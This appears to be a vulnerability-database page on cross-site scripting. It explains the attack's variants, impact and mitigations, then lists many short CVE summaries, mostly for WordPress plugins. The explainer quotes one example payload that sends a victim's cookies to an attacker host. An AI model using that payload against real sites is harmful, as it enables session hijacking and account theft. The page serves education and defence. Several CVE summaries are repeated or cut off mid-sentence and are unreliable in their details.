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Cross-Site Scripting

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Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (38977)

EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The LearnPress WordPress plugin before 4.2.7.5.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Learnpress
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The LearnPress WordPress plugin before 4.2.7.5.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Learnpress
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Form Maker by 10Web WordPress plugin before 1.15.33 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Form Maker
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Top Comments WordPress plugin through 1.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Top Comments
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Custom Field Manager WordPress plugin through 1.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Custom Field Manager
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The WP ERP | Complete HR solution with recruitment & job listings | WooCommerce CRM & Accounting WordPress plugin before 1.13.4 does not sanitise and escape some of its settings, which could allow. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Erp
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The IP Based Login WordPress plugin before 2.4.1 does not sanitise values when importing, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Ip Based Login
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The WP ULike WordPress plugin before 4.7.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Ulike
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The MailPoet WordPress plugin before 5.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Mailpoet
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Mobile Contact Bar WordPress plugin before 3.0.5 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Mobile Contact Bar
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Advance Post Prefix WordPress plugin through 1.1.1, Advance Post Prefix WordPress plugin through 1.1.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Advance Post Prefix
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The AffiliateImporterEb WordPress plugin through 1.0.6 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Affiliateimportereb
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The AffiliateImporterEb WordPress plugin through 1.0.6 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Affiliateimportereb
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The ClipArt WordPress plugin through 0.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Clipart
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Clasify Classified Listing WordPress plugin through 1.0.7 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Clasify Classified Listing
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The WP DeskLite WordPress plugin through 1.0.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Desklite
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Twitter Bootstrap Collapse aka Accordian Shortcode WordPress plugin through 1.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Twitter Bootstrap Collapse Aka Accordian Shortcode +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Simple Basic Contact Form WordPress plugin before 20250114 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simple Basic Contact Form
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Prisna GWT WordPress plugin before 1.4.14 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Google Website Translator
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Prisna GWT WordPress plugin before 1.4.14 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Google Website Translator
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The WordPress连接微博 WordPress plugin through 2.5.6 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress CSRF XSS +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Panorama WordPress plugin through 1.5.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Panorama
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The tarteaucitron-wp WordPress plugin before 0.3.0 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress CSRF XSS +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

The tarteaucitron-wp WordPress plugin before 0.3.0 allows author level and above users to add HTML into a post/page, which could allow users with the contributor role and above to perform Stored. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Tarteaucitron Wp
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Planning Center Online Giving WordPress plugin through 1.0.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Planning Center Online Giving
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Geocache Stat Bar Widget WordPress plugin through 0.911 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Geocache Stat Bar Widget
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Full Screen (Page) Background Image Slideshow WordPress plugin through 1.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Full Screen Page Background Image Slideshow
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The jwp-a11y WordPress plugin through 4.1.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Jwp A11Y
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Social Share And Social Locker WordPress plugin before 1.4.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Social Share And Social Locker
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Sailthru Triggermail WordPress plugin through 1.1 does not sanitise and escape some of its settings and is missing CSRF protection which could allow subscribers to perform Stored Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress CSRF XSS +1
NVD WPScan
EPSS 0% CVSS 3.5
LOW POC Monitor

The Real WP Shop Lite Ajax eCommerce Shopping Cart WordPress plugin through 2.0.8 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Real Wp Shop Lite Ajax Ecommerce Shopping Cart
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The WP Google Review Slider WordPress plugin before 15.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Google WordPress XSS +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The JSFiddle Shortcode WordPress plugin before 1.1.3 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Jsfiddle Shortcode
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Auto Prune Posts WordPress plugin before 3.0.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Auto Prune Posts
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Nokaut Offers Box WordPress plugin through 1.4.0 does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Nokaut Offers Box
NVD WPScan
EPSS 0% CVSS 6.5
MEDIUM POC This Week

The Countdown Timer for WordPress Block Editor WordPress plugin through 1.0.5 does not validate and escape some of its block options before outputting them back in a page/post where the block is. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Countdown Timer For Wordpress Block Editor
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Contact Form, Survey, Quiz & Popup Form Builder WordPress plugin before 1.7.1 does not sanitise and escape some parameters when outputting them in the page, which could allow unauthenticated. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Arforms
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Responsive Contact Form Builder & Lead Generation Plugin WordPress plugin before 1.9.8 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Contact Form Lead Form Elementor Builder +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Social Media Share Buttons & Social Sharing Icons WordPress plugin before 2.9.1 does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Social Media Share Buttons Social Sharing Icons
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Social Slider Feed WordPress plugin before 2.2.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Social Slider Widget
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Hubbub Lite WordPress plugin before 1.34.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Social Pug
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Photo Gallery, Images, Slider in Rbs Image Gallery WordPress plugin before 3.2.22 does not sanitise and escape some of its settings, which could allow high privilege users such as contributor to. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Robo Gallery
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The MB Custom Post Types & Custom Taxonomies WordPress plugin before 2.7.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Mb Custom Post Types Custom Taxonomies
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Giveaways and Contests by RafflePress WordPress plugin before 1.12.17 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Rafflepress
NVD WPScan
EPSS 0% CVSS 5.9
MEDIUM This Month

The Jetpack WordPress plugin before 13.8, Jetpack Boost WordPress plugin before 3.4.8 use regexes in the Site Accelerator features when switching image URLs to their CDN counterpart. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Jetpack +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Happyforms WordPress plugin before 1.26.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Happyforms
NVD WPScan
EPSS 3% CVSS 8.8
HIGH POC This Week

The coreActivity: Activity Logging for WordPress plugin before 1.8.1 does not escape some request data when outputting it back in the admin dashboard, allowing unauthenticated users to perform Stored. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Coreactivity
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The Advanced Schedule Posts WordPress plugin through 2.1.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Advanced Schedule Posts
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The illi Link Party!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Illi Link Party
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The illi Link Party!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Illi Link Party
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The Marketing Twitter Bot WordPress plugin through 1.11 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress CSRF XSS +1
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The aBitGone CommentSafe WordPress plugin through 1.0.0 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress CSRF XSS +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Better Follow Button for Jetpack WordPress plugin through 8.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Better Flow Button For Jetpack
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Add SVG Support for Media Uploader | inventivo WordPress plugin through 1.0.5 does not sanitize uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Inventivo
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The SVG Uploads Support WordPress plugin through 2.1.1 does not sanitize uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Svg Uploads Support
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The WolfNet IDX for WordPress plugin through 1.19.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wolfnet Idx For Wordpress
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Allow SVG WordPress plugin before 1.2.0 does not sanitize uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Allow Svg
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Travelpayouts: All Travel Brands in One Place WordPress plugin before 1.1.14 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Travelpayouts
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Advanced Page Visit Counter WordPress plugin before 8.0.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Advanced Page Visit Counter
NVD WPScan
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Tobias WP2LEADS allows Stored XSS.5.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

FluxBB 1.5.11 is vulnerable to Cross Site Scripting (XSS) in via the Forum Description Field in admin_forums.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Fluxbb
NVD
EPSS 0% CVSS 5.6
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Bootstrap allows Cross-Site Scripting (XSS).4.1 before 4.0.0. Rated medium severity (CVSS 5.6), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS Red Hat
NVD HeroDevs
EPSS 0% CVSS 4.7
MEDIUM POC PATCH This Month

powertip.ts in Lila (for Lichess) before ab0beaf allows XSS in some applications because of an innerHTML usage pattern in which text is extracted from a DOM node and interpreted as HTML. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. Public exploit code available.

XSS Powertip Ts
NVD GitHub
EPSS 0% CVSS 5.5
MEDIUM This Month

IBM Security Guardium 11.5 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Security Guardium
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Phpgurukul Vehicle Record Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /admin/profile.php via the name, email, and mobile parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Vehicle Record Management System
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Phpgurukul Vehicle Record Management System v1.0 is vulnerable to Cross Site Scripting (XSS) via the vehiclename, modelnumber, regnumber, vehiclesubtype, chasisnum, enginenumber' in the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP RCE XSS +1
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Phpgurukul Vehicle Record Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /admin/add-brand.php via the brandname parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Vehicle Record Management System
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Phpgurukul Vehicle Record Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /edit-brand.php?bid={brandId}. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Vehicle Record Management System
NVD GitHub
EPSS 0% CVSS 6.8
MEDIUM POC This Month

The Responsive Lightbox & Gallery WordPress plugin before 2.5.1 does not validate and escape some of its attributes before outputting them back in a page/post, which could allow users with the. Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Responsive Lightbox +1
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM This Month

The Weluka Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'weluka-map' shortcode in all versions up to, and including, 1.0.3 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Bon Toolkit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bt-map' shortcode in all versions up to, and including, 1.3.2 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The EG-Series plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's [series] shortcode in all versions up to, and including, 2.1.1 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 1% CVSS 7.2
HIGH This Month

The WP Content Security Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the blocked-uri and effective-directive parameters in all versions up to, and including, 2.3 due. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 7.6
HIGH POC PATCH This Week

Label Studio is a multi-type data labeling and annotation tool. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Label Studio
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in OA System before v2025.01.01 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the userName parameter at. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Oa System
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in OA System before v2025.01.01 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the outtype parameter at. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Oa System
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in OA System before v2025.01.01 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the password parameter at. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Oa System
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in OA System before v2025.01.01 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the title parameter at. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Oa System
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

